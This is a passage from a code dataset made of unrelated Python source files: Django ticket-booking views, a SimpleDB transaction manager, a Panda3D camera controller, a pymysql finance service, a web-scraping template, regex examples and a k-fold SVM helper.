here.\n@login_required(login_url='/admin')\ndef enrolled(request):\n return render(request, 'enrolled.html', {'participants': Participant.objects.all()})\n\n@login_required(login_url='/admin')\ndef teater(request):\n return render(request, 'teater.html', {'participants': Participant.objects.all()})\n\n\ndef ticket(request, participant_id):\n if Participant.objects.filter(uuid = participant_id).exists():\n participant = Participant.objects.get(uuid = participant_id)\n\n context = {\n 'name': participant.name,\n 'student': participant.student,\n 'spex': participant.spex,\n 'nachspex': participant.nachspex,\n 'price': participant.price,\n }\n\n return render(request, 'ticket.html', context)\n else:\n return render(request, 'index.html', {'error_message': \"Det existerar inte biljett med denna id\"})\n\ndef thanks(request):\n return render(request, \"thanks.html\")\n\ndef form_page_view(request):\n return render(request, \"index.html\")\n\ndef register(request):\n if request.method == 'POST':\n form = registerForm(request.POST)\n if form.is_valid():\n form = form.cleaned_data\n # Check type of ticket\n if form['register_choice'] == 'only_spex':\n register_choice = \"Endast spex\"\n spex = True\n nachspex = False\n elif form['register_choice'] == 'only_nachspex':\n register_choice = \"Endast nachspex\"\n spex = False\n nachspex = True\n else:\n register_choice = \"Spex och nachspex\"\n spex = True\n nachspex = True\n\n # Check validity of coupon if code was entered\n status_code, coupon = None, None\n if form['coupon']:\n status_code, coupon = verify_coupon(form['coupon'])\n\n # Check price\n price, cheaper_used = determine_price(spex, nachspex, form['student'], form['alcoholFree'], coupon)\n if cheaper_used:\n status_code = 0\n\n context = {\n 'name': form['name'],\n 'email': form['email'],\n 'avec': form['avec'],\n 'diet': form['diet'],\n 'comment': form['comment'],\n 'alcohol_free' : form['alcoholFree'],\n 'register_choice': register_choice,\n 'spex': spex,\n 'student': form['student'],\n 'nachspex': nachspex,\n 'price': price,\n 'coupon_status': status_code,\n 'coupon_code': form['coupon']\n }\n return render(request, 'confirm.html', context)\n\n # if a GET (or any other method) we'll create a blank form\n else:\n form = registerForm()\n return render(request, 'register.html', {'form': form})\n\ndef send(request):\n if request.method == 'POST':\n spex = request.POST['spex']\n nachspex = request.POST['nachspex']\n coupon_code = request.POST['coupon']\n alcohol_free = request.POST['alcohol_free']\n guest_type = request.POST['student']\n email = request.POST['email']\n\n # Apparently the 'True' is not a Boolean and needs to be converted, wtf\n # TODO: Change to 0 and 1 to avoid this step\n if nachspex == 'True':\n nachspex = True\n else:\n nachspex = False\n\n if spex == 'True':\n spex = True\n else:\n spex = False\n\n if alcohol_free == 'True':\n alcohol_free = True\n else:\n alcohol_free = False\n\n status_code, coupon = None, None\n if request.POST['coupon']:\n status_code, coupon = verify_coupon(request.POST['coupon'])\n price, cheaper_used = determine_price(spex, nachspex, guest_type, alcohol_free, coupon)\n\n\n new_participant = Participant(\n name=request.POST['name'],\n email=email,\n spex=spex,\n nachspex=nachspex,\n alcoholfree=alcohol_free,\n diet=request.POST['diet'],\n avec=request.POST['avec'],\n comment=request.POST['comment'],\n student=guest_type,\n price=price,\n uuid=uuid.uuid4()\n )\n new_participant.save()\n\n if status_code == 1 and not cheaper_used:\n coupon.times_used += 1\n coupon.save()\n\n ticket_url = 'https://karspex.teknologforeningen.fi/ticket/{}'.format(new_participant.uuid)\n subject, sender = 'Anmälan till Kårspexets föreställning', 'Kårspexambassaden '\n content = \"Tack för din anmälan till Kårspexets Finlandsföreställning den 22 februari.\\nDin biljett hittar du på {}. Vänligen ta fram biljetten när du går in i teatern för att försnabba inträdet.\\nBetala {}€ till konto FI34 1124 3500 2457 77 (mottagare Kårspexambassaden) eller med MobilePay till numret +358504948298 med meddelandet \\\"Kårspex, Förnamn Efternamn\\\". Betalningen ska vara framme senast 22.2.2020. Ifall betalningen inte hinner till detta, ber vi dig vänligen ta med jämna pengar till teatern.\\n\\nMed vänliga hälsningar,\\nKårspexambassaden.\".format(ticket_url, price)\n if DEBUG:\n print('Subject: {}\\nSender: {}\\nRecipient: {}\\nContent: {}'.format(subject, sender, email, content))\n else:\n send_mail(subject, content, sender, [email], fail_silently=False)\n\n return HttpResponseRedirect('/register/thanks/')\n else:\n return render(request, 'index.html', {'error_message': \"Det skedde ett fel, vänligen försök pånytt\"})\n","sub_path":"booking/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"646626011","text":"#\n# * Provide transaction management for clients,\n# * ensuring that all transactions are serializable, recoverable,\n# * and in general satisfy the ACID properties.\n# * @author Edward Sciore\n#\nimport threading\n\nfrom simpledb.file.BlockId import BlockId\nfrom simpledb.tx.BufferList import BufferList\nfrom simpledb.tx.concurrency.ConcurrencyMgr import ConcurrencyMgr\nfrom simpledb.tx.recovery.RecoveryMgr import RecoveryMgr\nfrom simpledb.util.Synchronized import synchronized\n\n\nclass Transaction(object):\n nextTxNum = 0\n END_OF_FILE = -1\n lock = threading.Lock()\n\n #\n # * Create a new transaction and its associated\n # * recovery and concurrency managers.\n # * This constructor depends on the file, log, and buffer\n # * managers that it gets from the class\n # * {@link simpledb.server.SimpleDB}.\n # * Those objects are created during system initialization.\n # * Thus this constructor cannot be called until either\n # * {@link simpledb.server.SimpleDB#init(String)} or\n # * {@link simpledb.server.SimpleDB#initFileLogAndBufferMgr(String)} or\n # * is called first.\n #\n def __init__(self, fm, lm, bm):\n self.fm = fm\n self.bm = bm\n self.txnum = self.nextTxNumber()\n self.recoveryMgr = RecoveryMgr(self, self.txnum, lm, bm)\n self.concurMgr = ConcurrencyMgr()\n self.mybuffers = BufferList(bm)\n\n #\n # * Commit the current transaction.\n # * Flush all modified buffers (and their log records),\n # * write and flush a commit record to the log,\n # * release all locks, and unpin any pinned buffers.\n #\n def commit(self):\n self.recoveryMgr.commit()\n print(\"transaction \" + str(self.txnum) + \" committed\")\n self.concurMgr.release()\n self.mybuffers.unpinAll()\n\n #\n # * Rollback the current transaction.\n # * Undo any modified values,\n # * flush those buffers,\n # * write and flush a rollback record to the log,\n # * release all locks, and unpin any pinned buffers.\n #\n def rollback(self):\n self.recoveryMgr.rollback()\n print(\"transaction \" + str(self.txnum) + \" rolled back\")\n self.concurMgr.release()\n self.mybuffers.unpinAll()\n\n #\n # * Flush all modified buffers.\n # * Then go through the log, rolling back all\n # * uncommitted transactions. Finally,\n # * write a quiescent checkpoint record to the log.\n # * This method is called during system startup,\n # * before user transactions begin.\n #\n def recover(self):\n self.bm.flushAll(self.txnum)\n self.recoveryMgr.recover()\n\n #\n # * Pin the specified block.\n # * The transaction manages the buffer for the client.\n # * @param blk a reference to the disk block\n #\n def pin(self, blk):\n self.mybuffers.pin(blk)\n\n #\n # * Unpin the specified block.\n # * The transaction looks up the buffer pinned to this block,\n # * and unpins it.\n # * @param blk a reference to the disk block\n #\n def unpin(self, blk):\n self.mybuffers.unpin(blk)\n\n #\n # * Return the integer value stored at the\n # * specified offset of the specified block.\n # * The method first obtains an SLock on the block,\n # * then it calls the buffer to retrieve the value.\n # * @param blk a reference to a disk block\n # * @param offset the byte offset within the block\n # * @return the integer stored at that offset\n #\n def getInt(self, blk, offset):\n self.concurMgr.sLock(blk)\n buff = self.mybuffers.getBuffer(blk)\n return buff.contents().getInt(offset)\n\n #\n # * Return the string value stored at the\n # * specified offset of the specified block.\n # * The method first obtains an SLock on the block,\n # * then it calls the buffer to retrieve the value.\n # * @param blk a reference to a disk block\n # * @param offset the byte offset within the block\n # * @return the string stored at that offset\n #\n def getString(self, blk, offset):\n self.concurMgr.sLock(blk)\n buff = self.mybuffers.getBuffer(blk)\n return buff.contents().getString(offset)\n\n #\n # * Store an integer at the specified offset\n # * of the specified block.\n # * The method first obtains an XLock on the block.\n # * It then reads the current value at that offset,\n # * puts it into an update log record, and\n # * writes that record to the log.\n # * Finally, it calls the buffer to store the value,\n # * passing in the LSN of the log record and the transaction's id.\n # * @param blk a reference to the disk block\n # * @param offset a byte offset within that block\n # * @param val the value to be stored\n #\n def setInt(self, blk, offset, val, okToLog):\n self.concurMgr.xLock(blk)\n buff = self.mybuffers.getBuffer(blk)\n lsn = -1\n if okToLog:\n lsn = self.recoveryMgr.setInt(buff, offset, val)\n p = buff.contents()\n p.setInt(offset, val)\n buff.setModified(self.txnum, lsn)\n\n #\n # * Store a string at the specified offset\n # * of the specified block.\n # * The method first obtains an XLock on the block.\n # * It then reads the current value at that offset,\n # * puts it into an update log record, and\n # * writes that record to the log.\n # * Finally, it calls the buffer to store the value,\n # * passing in the LSN of the log record and the transaction's id.\n # * @param blk a reference to the disk block\n # * @param offset a byte offset within that block\n # * @param val the value to be stored\n #\n def setString(self, blk, offset, val, okToLog):\n self.concurMgr.xLock(blk)\n buff = self.mybuffers.getBuffer(blk)\n lsn = -1\n if okToLog:\n lsn = self.recoveryMgr.setString(buff, offset, val)\n p = buff.contents()\n p.setString(offset, val)\n buff.setModified(self.txnum, lsn)\n\n #\n # * Return the number of blocks in the specified file.\n # * This method first obtains an SLock on the\n # * \"end of the file\", before asking the file manager\n # * to return the file size.\n # * @param filename the name of the file\n # * @return the number of blocks in the file\n #\n def size(self, filename):\n dummyblk = BlockId(filename, self.END_OF_FILE)\n self.concurMgr.sLock(dummyblk)\n return self.fm.length(filename)\n\n #\n # * Append a new block to the end of the specified file\n # * and returns a reference to it.\n # * This method first obtains an XLock on the\n # * \"end of the file\", before performing the append.\n # * @param filename the name of the file\n # * @return a reference to the newly-created disk block\n #\n def append(self, filename):\n dummyblk = BlockId(filename, self.END_OF_FILE)\n self.concurMgr.xLock(dummyblk)\n return self.fm.append(filename)\n\n def blockSize(self):\n return self.fm.blockSize()\n\n def availableBuffs(self):\n return self.bm.available()\n\n @staticmethod\n def nextTxNumber():\n with Transaction.lock:\n Transaction.nextTxNum += 1\n return Transaction.nextTxNum\n","sub_path":"simpledb/tx/Transaction.py","file_name":"Transaction.py","file_ext":"py","file_size_in_byte":7471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"430868086","text":"from direct.showbase.DirectObject import DirectObject\nfrom panda3d.core import NodePath, Point3, Vec3\nimport math\n\n\nclass CameraController(DirectObject):\n\n def __init__(self, base, r, theta, phi):\n DirectObject.__init__(self)\n self.base = base\n\n # Parameters\n self.rotateMag = 0.5\n self.moveMag = 50\n self.zoomMag = 100\n\n # Camera properties\n self.r = r\n self.theta = theta\n self.phi = phi\n self.target = NodePath(\"target\")\n self.target.reparentTo(self.base.render)\n self.base.camera.reparentTo(self.target)\n self.followingObject = None\n\n # Controls\n self.mouseDown1 = False\n self.mouseDown2 = False\n self.mouseDown3 = False\n self.mousePrevX = 0.0\n self.mousePrevY = 0.0\n self.accept(\"mouse1\", self.onMouse1, [True])\n self.accept(\"mouse1-up\", self.onMouse1, [False])\n self.accept(\"mouse2\", self.onMouse2, [True])\n self.accept(\"mouse2-up\", self.onMouse2, [False])\n self.accept(\"mouse3\", self.onMouse3, [True])\n self.accept(\"mouse3-up\", self.onMouse3, [False])\n\n # Run task that updates camera\n self.base.taskMgr.add(self.updateCamera, \"UpdateCameraTask\", priority=1)\n\n def setTarget(self, parent):\n self.target.reparentTo(parent)\n\n def follow(self, obj):\n self.followingObject = obj\n\n def stopFollowing(self):\n self.followingObject = None\n\n def zoom(self, dR):\n self.r += dR\n if self.r < 0.0:\n self.r = 0.0\n\n def rotateTheta(self, dTheta):\n self.theta += dTheta\n if self.theta < 0.0:\n self.theta += 2 * math.pi\n if self.theta > 2 * math.pi:\n self.theta -= 2 * math.pi\n\n def rotatePhi(self, dPhi):\n self.phi += dPhi\n if self.phi < 0.1:\n self.phi = 0.1\n if self.phi > math.pi-0.1:\n self.phi = math.pi-0.1\n\n def onMouse1(self, down):\n if not self.mouseDown2 and not self.mouseDown3:\n if down and self.base.mouseWatcherNode.hasMouse():\n self.mouseDown1 = True\n self.mousePrevX = self.base.mouseWatcherNode.getMouseX()\n self.mousePrevY = self.base.mouseWatcherNode.getMouseY()\n else:\n self.mouseDown1 = False\n\n def onMouse2(self, down):\n if not self.mouseDown1 and not self.mouseDown3:\n if down and self.base.mouseWatcherNode.hasMouse():\n self.mouseDown2 = True\n self.mousePrevX = self.base.mouseWatcherNode.getMouseX()\n self.mousePrevY = self.base.mouseWatcherNode.getMouseY()\n else:\n self.mouseDown2 = False\n\n def onMouse3(self, down):\n if not self.mouseDown1 and not self.mouseDown2:\n if down and self.base.mouseWatcherNode.hasMouse():\n self.mouseDown3 = True\n self.mousePrevX = self.base.mouseWatcherNode.getMouseX()\n self.mousePrevY = self.base.mouseWatcherNode.getMouseY()\n else:\n self.mouseDown3 = False\n\n def updateCamera(self, task):\n if self.base.mouseWatcherNode.hasMouse():\n # Register camera controls\n mouseX = self.base.mouseWatcherNode.getMouseX()\n mouseY = self.base.mouseWatcherNode.getMouseY()\n dX = self.mousePrevX - mouseX\n dY = self.mousePrevY - mouseY\n\n if self.mouseDown1:\n self.rotateTheta(dX * math.pi * self.rotateMag)\n self.rotatePhi(-dY * math.pi * self.rotateMag)\n\n if self.mouseDown2 and self.followingObject is None:\n vecX = self.target.getRelativeVector(self.base.camera, Vec3.right())\n vecY = self.target.getRelativeVector(self.base.camera, Vec3.forward())\n vecY.setZ(0.0)\n vecY.normalize()\n offset = (vecX * dX * self.moveMag) + (vecY * dY * self.moveMag)\n self.target.setPos(self.target, offset)\n\n if self.followingObject is not None:\n self.target.setPos(self.followingObject.getPos())\n\n if self.mouseDown3:\n self.zoom(dY * self.zoomMag)\n\n self.mousePrevX = mouseX\n self.mousePrevY = mouseY\n\n # Update camera position\n position = Point3(0.0, 0.0, 0.0)\n position.setX(self.r * math.cos(self.theta) * math.sin(self.phi))\n position.setY(self.r * math.sin(self.theta) * math.sin(self.phi))\n position.setZ(self.r * math.cos(self.phi))\n self.base.camera.setPos(position)\n self.base.camera.lookAt(self.target)\n\n return task.cont\n","sub_path":"python/_bak/9/OrbitCamera.py","file_name":"OrbitCamera.py","file_ext":"py","file_size_in_byte":4741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"507168104","text":"from dataclasses import dataclass\nimport pymysql\n\n\n@dataclass\nclass TransaccionDTO:\n monto: float\n id_movimiento: int\n id_categoria: int\n descripcion: str\n fecha: str\n\n@dataclass\nclass MovimientoDTO:\n nombre: str\n descripcion: str\n\n@dataclass\nclass CategoriaDTO:\n nombre: str\n descripcion: str\n\n\nclass Service:\n def __init__(self):\n self.conexion = pymysql.connect(host=\"localhost\", port=3306, user=\"usuario\",\n passwd=\"1234\", db=\"finanzas\")\n self.cursor = self.conexion.cursor()\n\n def buscar(self, tabla, campo = None, condicion = None, valor = None):\n if campo:\n self.cursor.execute(\n \"SELECT * FROM {} WHERE {} {} %s\".format(tabla, campo, condicion), (valor)\n )\n else:\n self.cursor.execute(\n \"SELECT * FROM {}\".format(tabla)\n )\n return self.cursor.fetchall()\n\n def eliminar(self, tabla, id):\n self.cursor.execute(\n \"DELETE FROM {} WHERE id = %s\".format(tabla), (id)\n )\n self.conexion.commit()\n\n def editar(self, tabla, campo, valor):\n self.cursor.execute(\n \"UPDATE {} SET {} = %s\".format(tabla, campo), (valor)\n )\n self.conexion.commit()\n\n def registrar_movimiento(self, data = MovimientoDTO):\n self.cursor.execute(\n \"INSERT INTO movimientos VALUES (%s, %s, %s)\", (None, data.nombre, data.descripcion)\n )\n self.conexion.commit()\n \n def registrar_categoria(self, tipo, data = CategoriaDTO):\n self.cursor.execute(\n \"INSERT INTO {} VALUES (%s, %s, %s)\".format(tipo), (None, data.nombre, data.descripcion)\n )\n self.conexion.commit()\n\n def registrar_transaccion(self, tipo, data = TransaccionDTO):\n self.cursor.execute(\n \"INSERT INTO {} VALUES (%s, %s, %s, %s, %s, %s)\".format(tipo), (None, data.monto, data.id_movimiento,\n data.id_categoria, data.descripcion, data.fecha,)\n )\n self.conexion.commit()\n\n def calcular_balance(self):\n balance = 0\n for ingreso in self.buscar(\"ingresos\"):\n balance += ingreso[1]\n for egreso in self.buscar(\"egresos\"):\n balance -= egreso[1]\n return balance\n\n def cerrar_database(self):\n self.conexion.close()\n\nif __name__ == \"__main__\":\n transaccion = TransaccionDTO(0.50, 1, 1, \"\", \"2019\")\n modelo = Service()\n print(modelo.buscar(\"movimientos\"))\n modelo.cerrar_database()","sub_path":"modelo/finanzas.py","file_name":"finanzas.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"309535044","text":"from django.contrib.auth.decorators import login_required\nfrom app.DatabaseWorker import WellDataWorker\nfrom app.views import get_relative_part\nfrom django.http import JsonResponse\n\n@login_required(login_url=\"/\")\ndef get_counties(request):\n if request.is_ajax():\n database_worker = WellDataWorker()\n counties = database_worker.get_all_counties()\n context = {}\n context[\"counties\"] = counties\n return JsonResponse(context)\n\n@login_required(login_url=\"/\")\ndef get_formations(request):\n if request.is_ajax():\n database_worker = WellDataWorker()\n formations = database_worker.get_all_formations()\n context = {}\n context[\"formations\"] = formations\n return JsonResponse(context)\n\n@login_required(login_url=\"/\")\ndef get_townships(request):\n database_worker = WellDataWorker()\n return get_relative_part(request, database_worker.get_all_townships,'range','meridian','townships')\n\n\n@login_required(login_url=\"/\")\ndef get_ranges(request):\n database_worker = WellDataWorker()\n return get_relative_part(request, database_worker.get_all_ranges,'township','meridian','ranges')\n\n\n@login_required(login_url=\"/\")\ndef get_meridians(request):\n database_worker = WellDataWorker()\n return get_relative_part(request, database_worker.get_all_meridians,'township','range','meridians')","sub_path":"app/views_location.py","file_name":"views_location.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"562181770","text":"import pip\nimport os\n\ndef install(package):\n if hasattr(pip, 'main'):\n pip.main(['install', '-U',package])\n else:\n pip._internal.main(['install', package])\n\nos.system(\"python3 setup.py bdist bdist_wheel\")\n# Example\nif __name__ == '__main__':\n install('dist/PLC-0.2.0-py3-none-any.whl')\n","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"269665130","text":"from tqdm import tqdm\nimport pymongo\nfrom lxml import etree\nimport io\nimport json\nimport asyncio\nimport aiohttp\n\nloop = asyncio.new_event_loop()\nclient = pymongo.MongoClient(\"localhost\", 27017)\ndb = client.testdb\ncol = db.data\nerrors = []\n\n\nasync def get_data(url):\n try:\n async with aiohttp.ClientSession() as client:\n async with client.get(url=url) as raw_response:\n response_text = await raw_response.text()\n parser = etree.HTMLParser(encoding=\"utf-8\")\n doc = etree.parse(io.StringIO(str(response_text)), parser)\n all_h1 = doc.xpath(\"//h1//text()\")\n \"\"\"\n \n Scrapping code goes here\n \n At the end, either return the data or store it in pymongo or any other db. \n \"\"\"\n\n except:\n errors.append(url)\n\n\nasync def main(links):\n q = asyncio.Queue()\n producers = [loop.create_task(get_data(link)) for link in links]\n await asyncio.gather(*producers)\n await q.join()\n\n\nif __name__ == \"__main__\":\n\n # Load all the urls.\n with open(\"urls.txt\") as f:\n js = f.read()\n f.close()\n\n ids = js.split(\"\\n\")\n\n # Feed urls in group of 100 urls. This way, the scrapping code will make 100 concurrent requests to get data from\n # respective url. You can change this number according to your laptop speed and internet connectivity. A simple\n # trial and error approach could be used to find the most efficient number for your machine.\n for i in tqdm(range(0, len(ids), 100)):\n loop.run_until_complete(main(ids[i:i + 100]))\n\n print(f\"Total {round((len(ids) - len(errors)) / len(ids),2)} Urls successfully scraped! Remaining urls are \"\n f\"stored in errors.txt file.\")\n\n with open(\"errors.txt\", \"w\") as f:\n f.write(\"\\n\".join(errors))\n f.close()\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"basic_template.py","file_name":"basic_template.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"653580785","text":"while True:\n prompt = \"Hi. How many are going to be in your party today?\\n\"\n ans = int(input(prompt))\n if ans >= 8 and ans > 0:\n print(\"Sorry, you are going to have to wait a little bit!\")\n elif ans == -1:\n print(\"Goodbye!\")\n break\n elif ans < -1:\n print(\"Sir, that doesn't really make any sense. Please enter a better number!\")\n else:\n print(\"Your table is ready, right this way!\")\n","sub_path":"pythoncode/table_waiting.py","file_name":"table_waiting.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"446562783","text":"import numpy as np\n\ncm_per_meter = 100\nmeters_per_cm = 0.01\n\ninches_per_foot = 12\nfeet_per_inch = 0.083333\n\ninches_per_meter = 39.3701\nmeters_per_inch = 0.0254\n\nfeet_per_meter = 3.28084\nmeters_per_foot = 0.3048\n\nradians_per_degree = np.pi / 180\ndegrees_per_radian = 180 / np.pi\n\npounds_per_kilogram = 2.20462\nkilograms_per_pound = 0.453592\n\ngrams_per_kilogram = 1000\nkilograms_per_gram = 0.001\n","sub_path":"src/utils/units.py","file_name":"units.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"392870407","text":"#!/usr/bin/env python3\n\n# For more info see: https://regexone.com/references/python\n\nimport imports_standardized as imps\nimport re # Regular Expression\nfrom ATHPy3 import StrUtl\nfrom ATHPy3 import GetOpts\n\nfrom ATHBox import Box\nfrom ATHRegx import Regx\n\ndef basicRegex(): # {\n regex = \"[A-Za-z]+\"\n input = \"Hello World\"\n if ( re.search( regex, input ) ):\n print(\"Found it\")\n# }\n\ndef matchRegex(): # {\n regex = \"[A-Za-z]+\"\n input = \"Hello World\"\n\n match = re.search( regex, input )\n print ( \"First match start=%s, end=%s\" % (match.start(), match.end()) )\n# }\n\ndef groupRegex(): # {\n regex = \"[A-Za-z]+\"\n input = \"Hello World\"\n\n match = re.search( regex, input ) # search finds only the first, its not a global search\n print( \"Group0='%s'\" % (match.group(0)) )\n # print( \"Group1='%s'\" % (match.group(1)) ) # ERR, there is no group 1\n# }\n\ndef findallRegex(): # {\n regex = \"[A-Za-z]+\"\n input = \"Hello World\"\n\n # global search returns a collection\n # BE CAREFUL this will load the entire contents into memory and all matches into memory\n # for you to process. If the input is large or many matches expected, finditr may be better\n matches = re.findall( regex, input ) \n for match in matches: # match is a string\n print ( \"found %s\" % (match) )\n# }\n\ndef finditerRegex(): # {\n regex = \"[A-Za-z]+\"\n input = \"Hello World\"\n\n # global search returns a collection\n # BE CAREFUL this will load the entire contents into memory and all matches into memory\n # for you to process. If the input is large or many matches expected, finditr may be better\n matches = re.finditer( regex, input ) \n for match in matches: # match is a match obj\n # input[#1:#2] // this is the synta\n print ( \"found match %s @ start=%s, end=%s\" % (input[match.start():match.end()], match.start(), match.end()) )\n# }\n\ndef finditerRegexAdvanced(): # {\n regex = r\"(\\d{1,2})/(\\d{1,2})/(\\d{2}|\\d{4})\"\n #regex = r\"(\\d{2}|\\d{4})\"\n input = \"7/5/79, 8/16/82, 2/29/16\"\n\n # global search returns a collection\n # BE CAREFUL this will load the entire contents into memory and all matches into memory\n # for you to process. If the input is large or many matches expected, finditr may be better\n matches = re.finditer( regex, input ) \n for match in matches: # match is a match obj\n # input[#1:#2] // this is the synta\n #print ( \"found match %s @ start=%s, end=%s\" % (input[match.start():match.end()], match.start(), match.end()) )\n print( \"whole group match='%s', mo='%s', day='%s', yr='%s'\" % (\n match.group(0),\n match.group(1),\n match.group(2),\n match.group(3)\n ) )\n# }\n\ndef searchAndReplaceRegexMultiline(): # {\n regex = r\"Bob\"\n replace = \"Aaron\"\n input = \"Hello my name is Bob\\nDid I mention my name is Bob\"\n result = re.sub(regex, replace, input, 0, re.MULTILINE)\n print(result)\n# }\n\ndef searchAndReplaceRegexMultilineAdvanced(): # {\n input = \"Hello my name is Bob\"\n input += \"\\n\"\n input += \"Did I mention my name is Bob\"\n input += \"\\n\"\n input += \"Even though I am Bob, he is also Bob\"\n input += \"\\n\"\n input += \"We are Bob\"\n\n output = ''\n lastPos = 0\n regex = re.compile(r\"(Bob)\", re.MULTILINE)\n matches = regex.finditer(input)\n for match in matches:\n if match:\n repl = \"Aaron\"\n output += input[lastPos:match.start()]\n output += repl\n lastPos = match.start() + len(match.group(1))\n print(\"--\")\n print(output)\n# }\n\n\ndef searchAndReplaceSimplified(): # {\n input = \"Hello my name is Bob\"\n input += \"\\n\"\n input += \"Did I mention my name is Bob\"\n input += \"\\n\"\n input += \"Even though I am Bob, he is also Bob\"\n input += \"\\n\"\n input += \"We are Bob\"\n\n rx = Regx(input)\n # Super simple\n print(\"---\")\n print(rx.replace(r\"(Bob)\", \"Joe\"))\n print(\"---\")\n \n # Customizable via delegate\n print(\"---\")\n print(rx.replaceDelegate(r\"(Bob)\", searchAndReplaceSimplifiedSearchResultDelegate))\n print(\"---\")\n\n# }\n\n# Delegate receives a ATHRegx.Match object\n# which contains a re.Match + some additional useful bits\n# the returned value is what gets substituded for this particular match\ndef searchAndReplaceSimplifiedSearchResultDelegate( match ): # {\n # return \"_\" + match.match.group(0) + \"_\" + str(match.idx) + \"_\"\n return \"_%s_%s_\" % (match.match.group(0), match.idx) # same as above but in sprintf stylee\n# }\n\n\ndef test(): # {\n if ( StrUtl.isFloatString(\"123\") ):\n print(\"Yes\")\n else:\n print(\"No\")\n# }\n\ndef testBox(): # {\n box = Box(2,3)\n box.describe()\n# }\n\ndef opts(): # {\n opts = GetOpts()\n opts.addDescription(\"Description\")\n\n opts.add(\"path\", \"p\", \"THEPATH\", False, \"path description\")\n\n if ( opts.buildSafe( None ) ): # {\n print(opts.get(\"path\", \"empty\"))\n # }\n# }\n\ndef __main(): # {\n basicRegex()\n matchRegex()\n groupRegex()\n findallRegex()\n finditerRegex()\n finditerRegexAdvanced()\n searchAndReplaceRegexMultiline()\n searchAndReplaceRegexMultilineAdvanced()\n searchAndReplaceSimplified()\n test()\n opts()\n testBox()\n# }\n\nif __name__ == '__main__': __main()","sub_path":"examples3/example_regex.py","file_name":"example_regex.py","file_ext":"py","file_size_in_byte":5249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"311389975","text":"#! /usr/bin/env python\n\"\"\"\nWeek 01 Exercise 06\n\nPython script that creates a list. One of the elements of the list is a\ndictionary with three keys.\n\nThe list is written to files using both YAML and JSON formats. The YAML file\nis in the expanded form.\n\"\"\"\n\nimport yaml\nimport json\n\ntest_list = [x+1 for x in range(5)]\ntest_dict = {\"key01\": \"value01\", \"key02\": \"value02\", \"key03\": \"value03\"}\ntest_list.append(test_dict)\n\nwith open(\"test_file.yml\", 'w') as yml_file:\n # yml_file.write(yaml.dump(test_list))\n yaml.dump(test_list, yml_file, default_flow_style=False)\n\nwith open(\"test_file.json\", 'w') as json_file:\n json_file.write(json.dumps(test_list, sort_keys=True))\n","sub_path":"week_01/ex06.py","file_name":"ex06.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"532642548","text":"import numpy as np\nfrom sklearn import svm\n\n# Calculate and return true positive, true negative, false positive, and false negative\ndef perf_measure(y_actual, y_hat):\n TP = 0\n FP = 0\n TN = 0\n FN = 0\n\n for i in range(len(y_hat)): \n if y_actual[i]==y_hat[i]==1:\n TP += 1\n if y_hat[i]==1 and y_actual[i]!=y_hat[i]:\n FP += 1\n if y_actual[i]==y_hat[i]==-1:\n TN += 1\n if y_hat[i]==-1 and y_actual[i]!=y_hat[i]:\n FN += 1\n\n return(TP, FP, TN, FN)\n\n\ndef run(k, X, y, algorithmType, **kwargs):\n \"\"\"\n Perform k fold cross validation and return an array representing the\n results\n\n Input:\n folds:\n The value of k, the number of folds in k-fold cross validation.\n\n X:\n The samples, as an n x d numpy array\n\n y:\n The labels in parallel with the samples above\n\n Keyword arguments, **kwargs:\n C:\n The slack variable for both primal and dual svm\n\n algorithmType:\n A python string with value as primal or dual for the\n appropriate model. We are using the radial basis kernel\n in the case of the dual mode\n\n gamma:\n Read svm.LinearSVC for details. For the radial basis kernel, it\n is the hyperparameter to be tuned\n\n Return:\n The function would return a matrix z of dimensions k x 1, containing\n the error percentage (%) for each of the k trials.\n\n \"\"\"\n\n n = X.shape[0]\n\n # this is a list containing all the k subsets. So it is of size k in the\n # once we ready it, in a for loop\n allSets = []\n\n # there is a parallel list for labels\n ySets = []\n # this loop is not the main loop to iterate and fill z. It is just to make\n # the sets\n for i in range(k):\n # we use float to perform normal division (not integer division)\n lower = int(float(n) * i / float(k))\n upper = int(float(n) * (i+1) / float(k)) - 1\n subsetForX = X[lower:upper+1, ]\n subsetForY = y[lower:upper+1, ]\n allSets.append(subsetForX)\n ySets.append(subsetForY)\n\n # z contains the resulting mean square error for each set according to k\n # fold cross validation\n z = np.zeros(shape=(k, 1))\n\n # the main loop matching the pseudo code given in the question\n for i in range(k):\n T = allSets[i]\n yForT = ySets[i]\n\n # we try and add all rows that are not in T, into setForS\n setForS = allSets[0:i]\n setForS.extend(allSets[i + 1:])\n\n # we convert rows or sets of rows, into a common array S\n S = np.concatenate(setForS)\n\n # parralel conversion for making a set of corresponding labels\n yForS = ySets[0:i]\n yForS.extend(ySets[i + 1:])\n yForS_1 = np.concatenate(yForS)\n\n yForT = yForT.reshape( (yForT.shape[0],) )\n yS = yForS_1.reshape( (yForS_1.shape[0],) )\n # for dual svm using sklearn\n if algorithmType == \"primal\":\n # clf is the classifier object for performing learning, testing and\n # more\n clf = svm.LinearSVC(C=kwargs[\"C\"], dual=False)\n clf.fit(S, yS)\n # get the error on the set in T\n # (see documentation for details)\n z[i] = 1 - clf.score(T, yForT)\n\n # for primal svm using sklearn\n elif 